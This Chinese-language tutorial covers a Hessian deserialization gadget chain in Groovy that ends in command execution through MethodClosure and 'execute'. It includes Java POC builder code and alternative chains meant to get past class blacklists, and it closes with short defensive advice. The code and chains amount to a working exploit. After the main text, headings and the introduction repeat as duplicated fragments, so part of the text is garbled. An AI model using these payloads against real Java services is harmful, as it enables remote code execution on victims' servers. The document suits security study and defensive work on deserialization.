Hessian Groovy 反序列化漏洞分析与利用教学<\/h1>

1. 背景介绍<\/h2>
在反序列化场景下，应用通常会设置多个黑名单条件来阻止反序列化攻击链。当服务器环境不允许进行JNDI等出网操作时，需要挖掘新的链条来构造序列化POC。本文研究在Groovy依赖下的代码执行链条。<\/p>

2. Hessian Groovy 新链条分析<\/h2>

2.1 传统链条与改进<\/h3>
传统的Hessian Groovy链只能实现JNDI注入，而新发现的链条可以直接实现命令执行。groovy1链使用了动态代理与ConvertedClosure，而新链则不需要这些操作，使用HashMap作为入口即可。<\/p>

2.2 完整调用链<\/h3>

java.util.concurrent.ConcurrentHashMap: void readObject
↓
groovy.lang.GString: int hashCode
↓
groovy.lang.GString: java.lang.String toString
↓
groovy.lang.GString: java.io.Writer writeTo
↓
groovy.lang.Closure: java.lang.Object call
↓
groovy.lang.Closure: java.lang.Object doCall
<\/code><\/pre>
3. 正向分析<\/h2>
3.1 触发流程<\/h3>

HashMap触发<\/strong>：Gadget中HashMap会调用groovy.lang.GString的hashCode方法<\/li>
toString调用<\/strong>：hashCode方法会调用自身的toString方法<\/li>
writeTo调用<\/strong>：toString方法会调用自身的writeTo方法<\/li>
Closure执行<\/strong>：writeTo方法中调用groovy.lang.Closure#call方法<\/li>
<\/ol>
3.2 关键代码分析<\/h3>
在writeTo方法中调用了groovy.lang.Closure#call，此处需要满足maximumNumberOfParameters为0才会调用无参构造方法。<\/p>
最终调用doCall方法，groovy.lang.Closure是一个抽象类，其继承类MethodClosure实现了doCall方法，且参数可控。<\/p>
4. 命令执行原理<\/h2>
4.1 执行链分析<\/h3>
通过构造InvokerHelper.invokeMethod("open -na calculator", "execute", arguments)<\/code>实现命令执行：<\/p>

java.lang.String<\/code>不是NULL，object instanceof Class<\/code>为false<\/li>
"calc" instanceof GroovyObject<\/code>为false条件成立<\/li>
进入invokePojoMethod(object, methodName, arguments)<\/code><\/li>
<\/ol>
4.2 Groovy扩展方法机制<\/h3>
调用逻辑为MetaClass接收：<\/p>

receiver = "calc"<\/li>
method = "execute"<\/li>
args = null<\/li>
<\/ul>
Groovy会扫描所有已注册的Extension Module，其中包括：

org.codehaus.groovy.runtime.ProcessGroovyMethods#execute(java.lang.String)<\/code><\/p>
Extension Method规则<\/strong>：

如果一个static方法的第一个参数类型与当前对象类型匹配，则被当作实例方法使用。<\/p>
等价变换过程：<\/p>
ProcessGroovyMethods.execute("calc")
↓
"calc".execute()
<\/code><\/pre>
5. POC构造方法<\/h2>
5.1 基础构造步骤<\/h3>
public<\/span> Object getObject<\/span>(<\/span>final<\/span> String command)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>    \/\/ 1. 创建MethodClosure对象
<\/span><\/span><\/span><\/span>    MethodClosure closure =<\/span> new<\/span> MethodClosure(<\/span>command,<\/span> "execute"<\/span>);<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 2. 设置参数数量为0
<\/span><\/span><\/span><\/span>    Reflections.<\/span>setFieldValue<\/span>(<\/span>closure,<\/span> "maximumNumberOfParameters"<\/span>,<\/span> 0<\/span>);<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 3. 创建GStringImpl实例
<\/span><\/span><\/span><\/span>    GStringImpl gString =<\/span> Reflections.<\/span>createWithoutConstructor<\/span>(<\/span>GStringImpl.<\/span>class<\/span>);<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 4. 设置values数组
<\/span><\/span><\/span><\/span>    Object[]<\/span> values =<\/span> new<\/span> Object[<\/span>3<\/span>];<\/span>
<\/span><\/span>    values[<\/span>0<\/span>]<\/span> =<\/span> closure;<\/span>
<\/span><\/span>    Reflections.<\/span>setFieldValue<\/span>(<\/span>gString,<\/span> "values"<\/span>,<\/span> values);<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 5. 设置strings数组
<\/span><\/span><\/span><\/span>    String[]<\/span> strings =<\/span> new<\/span> String[<\/span>3<\/span>];<\/span>
<\/span><\/span>    strings[<\/span>0<\/span>]<\/span> =<\/span> "triplexlove"<\/span>;<\/span>
<\/span><\/span>    Reflections.<\/span>setFieldValue<\/span>(<\/span>gString,<\/span> "strings"<\/span>,<\/span> strings);<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 6. 返回HashMap结构
<\/span><\/span><\/span><\/span>    return<\/span> Entry2HashFragment.<\/span>makeConMap<\/span>(<\/span>gString,<\/span> gString);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>5.2 反射工具类<\/h3>
需要实现的Reflections工具类方法：<\/p>

setFieldValue(Object obj, String fieldName, Object value)<\/code><\/li>
createWithoutConstructor(Class clazz)<\/code><\/li>
<\/ul>
6. 黑名单绕过技术<\/h2>
6.1 替代触发链<\/h3>
方案一：BadAttributeValueExpException链<\/h4>
javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)
→ groovy.lang.GString: java.lang.String toString()
→ groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)
→ groovy.lang.Closure: java.lang.Object call(java.lang.Object)
<\/code><\/pre>
构造代码<\/strong>：<\/p>
public<\/span> Object getObject<\/span>(<\/span>String command)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>    MethodClosure closure =<\/span> new<\/span> MethodClosure(<\/span>command,<\/span> "execute"<\/span>);<\/span>
<\/span><\/span>    Reflections.<\/span>setFieldValue<\/span>(<\/span>closure,<\/span> "maximumNumberOfParameters"<\/span>,<\/span> 0<\/span>);<\/span>
<\/span><\/span>    
<\/span><\/span>    GStringImpl gString =<\/span> Reflections.<\/span>createWithoutConstructor<\/span>(<\/span>GStringImpl.<\/span>class<\/span>);<\/span>
<\/span><\/span>    Object[]<\/span> values =<\/span> new<\/span> Object[<\/span>3<\/span>];<\/span>
<\/span><\/span>    values[<\/span>0<\/span>]<\/span> =<\/span> closure;<\/span>
<\/span><\/span>    String[]<\/span> strings =<\/span> new<\/span> String[<\/span>3<\/span>];<\/span>
<\/span><\/span>    strings[<\/span>0<\/span>]<\/span> =<\/span> "triplexlove"<\/span>;<\/span>
<\/span><\/span>    
<\/span><\/span>    BadAttributeValueExpException exp =<\/span> new<\/span> BadAttributeValueExpException(<\/span>null<\/span>);<\/span>
<\/span><\/span>    Reflections.<\/span>setFieldValue<\/span>(<\/span>exp,<\/span> "val"<\/span>,<\/span> gString);<\/span>
<\/span><\/span>    return<\/span> exp;<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>方案二：JCheckBox链<\/h4>
javax.swing.JCheckBox: void readObject(java.io.ObjectInputStream)
→ javax.swing.JCheckBox: void updateUI()
→ javax.swing.AbstractButton: void setUI(javax.swing.plaf.ButtonUI)
→ javax.swing.JComponent: void setUI(javax.swing.plaf.ComponentUI)
→ javax.swing.JComponent: void uninstallUIAndProperties()
→ javax.swing.JComponent: void putClientProperty(java.lang.Object,java.lang.Object)
→ groovy.lang.GString: java.lang.String toString()
→ groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)
→ groovy.lang.Closure: java.lang.Object call()
<\/code><\/pre>
方案三：Xerces Token链<\/h4>
javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)
→ com.sun.org.apache.xerces.internal.impl.xpath.regex.Token: java.lang.String toString()
→ com.sun.org.apache.xerces.internal.impl.xpath.regex.Token$UnionToken: java.lang.String toString(int)
→ groovy.lang.ListWithDefault: java.lang.Object get(int)
→ groovy.util.ObservableList: java.lang.Object set(int,java.lang.Object)
→ groovy.lang.Closure: java.lang.Object call(java.lang.Object)
<\/code><\/pre>
7. 技术要点总结<\/h2>
7.1 关键依赖<\/h3>

Groovy库必须存在于目标classpath中<\/li>
需要反射操作支持<\/li>
<\/ul>
7.2 利用条件<\/h3>

目标系统存在Groovy依赖<\/li>
反序列化入口点可用<\/li>
黑名单未完全覆盖所有触发链<\/li>
<\/ol>
7.3 防御建议<\/h3>

严格限制反序列化操作<\/li>
实施完整的类黑名单<\/li>
使用白名单机制控制可反序列化的类<\/li>
及时更新Groovy版本<\/li>
<\/ol>
8. 实际应用场景<\/h2>
该技术适用于：<\/p>

红队测试中的反序列化漏洞利用<\/li>
安全研究人员分析Groovy相关漏洞<\/li>
开发人员理解反序列化安全风险<\/li>
<\/ul>
通过掌握这些技术细节，安全人员可以更好地评估和防御相关安全威胁。<\/p>

Hessian Groovy 反序列化漏洞分析与利用教学<\/h1>

1. 背景介绍<\/h2> 在反序列化场景下，应用通常会设置多个黑名单条件来阻止反序列化攻击链。当服务器环境不允许进行JNDI等出网操作时，需要挖掘新的链条来构造序列化POC。本文研究在Groovy依赖下的代码执行链条。<\/p>

2. Hessian Groovy 新链条分析<\/h2>

2.1 传统链条与改进<\/h3> 传统的Hessian Groovy链只能实现JNDI注入，而新发现的链条可以直接实现命令执行。groovy1链使用了动态代理与ConvertedClosure，而新链则不需要这些操作，使用HashMap作为入口即可。<\/p>

3. 正向分析<\/h2>

4. 命令执行原理<\/h2>

5. POC构造方法<\/h2>

6. 黑名单绕过技术<\/h2>

6.1 替代触发链<\/h3>

7. 技术要点总结<\/h2>

1. 背景介绍<\/h2>
在反序列化场景下，应用通常会设置多个黑名单条件来阻止反序列化攻击链。当服务器环境不允许进行JNDI等出网操作时，需要挖掘新的链条来构造序列化POC。本文研究在Groovy依赖下的代码执行链条。<\/p>

2.1 传统链条与改进<\/h3>
传统的Hessian Groovy链只能实现JNDI注入，而新发现的链条可以直接实现命令执行。groovy1链使用了动态代理与ConvertedClosure，而新链则不需要这些操作，使用HashMap作为入口即可。<\/p>